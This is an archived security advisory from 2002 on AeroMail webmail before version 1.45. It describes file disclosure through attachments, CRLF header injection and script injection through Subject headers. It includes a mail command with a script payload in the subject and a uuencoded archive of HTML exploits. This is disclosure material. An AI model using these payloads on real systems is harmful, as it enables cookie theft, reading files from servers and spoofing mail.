TUCoPS :: Linux :: Apps A-M :: lnx5162.htm

AeroMail remote file access, java and header code insertion
4th Mar 2002 [SBWID-5162]
COMMAND

	AeroMail remote file access, java and header code insertion

SYSTEMS AFFECTED

	AeroMail versions before 1.45

PROBLEM

	Ulf Harnhammar says :
	

	1) When sending e-mails, you can trick  the  attachment  subsystem  into
	sending local files from the web server  or  remote  files  from  URL\'s
	instead of uploaded files as it should.
	

	How is that possible? Well, after PHP has uploaded a  file,  it  sets  a
	few variables with information about it. One of  them  is  the  filename
	under which the  uploaded  file  has  been  temporarily  stored.  It  is
	important to check that this variable was set by uploading  a  file.  It
	might also be normal POSTed data, in which case you  end  up  with  this
	problem.
	

	2) You can  add  additional  headers  to  outgoing  e-mail  messages  by
	sending some normal data for the To or Cc or Subject fields, a CRLF  and
	then another header  with  some  data.  This  can  be  used  for  adding
	uuencoded attachments up in the headers with lines ending in CR  instead
	of CRLF, as previously discussed on Bugtraq.
	

	3) JavaScript  and  HTML  code  is  active,  when  Subject  headers  are
	displayed. This allows DOS attacks  by  redirecting,  theft  of  cookies
	etc.
	

	Issues  1  and  2  require  a  valid  user/password  combination  to  be
	exploited, while issue 3 is open to anyone.
	

	 Exploits :

	 ========

	

	Here are HTML exploits for issues 1 and 2. They  are  distributed  as  a
	uuencoded, gzipped tar archive.
	

	Issue 3 doesn\'t need a special exploit -  you  just  send  an  ordinary
	mail:
	

	mail -s \'<script>self.location.href=\"http://www.kuro5hin.org/\"</script>\' \\

	metaur@prontomail.com < /dev/null

	

	

	

	begin 644 aeromail_exploits.tar.gz

	M\'XL(\"!9R@CP``V%E<F]M86EL7V5X<&QO:71S+G1A<@#M5FUOVS80]F?]BJL&

	M;\"TPF[(MQYEG!VT<`PF0-Z0.VGT*:(FVV$FB1E)QLU^_HR0G?EOL8AG:;GP`

	M03B2]\\KCW5$F14)Y?,<^9[\'@6I\':B\\/S?*_;Z>#?\\[H\'_LJ_0LWK^K[G=YM>

	MLU7#K^MW:]!Y>5,VD2M-)4`MCZ?/G]NQ_YV\";MS_^DJS$>DD_B<ZO*;G\'?C^

	MW]U_J]-NK]U_%]=JX+V4D\\_A?W[__5<G5\\/Q;]<C.!U?G,/U[?\'YV1#<.B$?

	MVD-\"3L8GY8;?\\)HPEC157\'.1TIB0T:7KN)\'668^0^7S>F+<;0L[(^(:8A/%)

	M+(1BC5\"\'[I\'3-TOFQVB(/\\UUS([>8:9=8*;!J,PT:/9)N>/T$Z8I&.%U]D?.

	M[P?N4*2:I;H^?LB8\"T%)#5S-/NM\"WZ\\01%0JI@=<B?KA8>>7>M,H)J5*IS\\1

	MX0-,9H&(A1RX/TP+N&`$(%FFH@LQ3W]?(NDJ[=ROTL:CYE8_<!EU3H5,`%V)

	M1#APKZ_>CU%B8.(W6`[</<>UI!&(Y/\'Q$<72\\\"YA2M$9:V11AJH^2*[1:9@\\

	M0!]C(]ETX)JS6O1,M\'+Y-I,8EH+?\"\'./;N,IG/Y(<XR.3\".:)%3V\"3UR>`HM

	M?\'>-?F:,Y&F6:]`85[2*AR%+74AI@I1D.I=(W=,X1_+L\\OCJHPN*_XF$<=X9

	MBUY_(H]699B(+B1HL3C?08;BK#,,=C`%P2;3.ZUI$,\'K>40U3\'G,0$BXO3D\'

	M+<#$ZLT.F;3@7Y*[<(HP\'9\",*C4/5W7=F:/PFIN`:Z9^AD]8*@\"3CDE0PEPJ

	M3V>@C3U<P83/<$_DLV@_2PKI6\\QI>?[AFAV&K7)<1VS%^3F/8Y@P\"&@<LQ#0

	M5G/BXNQBY)BT9U+M:8TAMEBS-2Y&R\'Y2=?%6UZ4Z+LVRF`?4/`0B`LUT76G)

	M:+)0]#Z??&*!WJ%$E:<V<^487WK%:\\Y3%%VQF!K@@A1SA>=-%8E5R8AU8G&T

	M$K*B%E4E7#^&9?\'.<<EPFE=N.(@17Y2<HMA][=*^%W;W_]:_WO^[IN?;_O]5

	M\\$WU_]9_I/^WOJ?^?RDTZ\\&)2\'_2D$G4\"*/+\\>@&Z-1T.M-/8HJ-K^PGIL70

	M]`\'$M-A9U$SU@J/$6LDV$\\2V@KW59>=C_;2PL][LP2F3#%!2T:V?=EH]0`V2

	M@F&JW%(;Y?]Q2%DSQ\\PFV\\S!\\A\"]S;.0:M;(\\X9:4MA>,H7\"E,TA$7)IW^\\]

	M;\\HS45U,-5544Y&RY:#NY*RFD(K=^S+><F:H>+^,M1P,=HX#R_FQ.A.LW<KC

	M*+#M:C:?YU/L.TMWLTCUI]V#O5+%CAL6%A86%A86%A86%A86%A86%A86%A;?

	+\'/X\"S&R_G``H````

	`

	end

	

	

	

SOLUTION

	Upgrade to version 1.45 [http://the.cushman.net/projects/aeromail/]

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH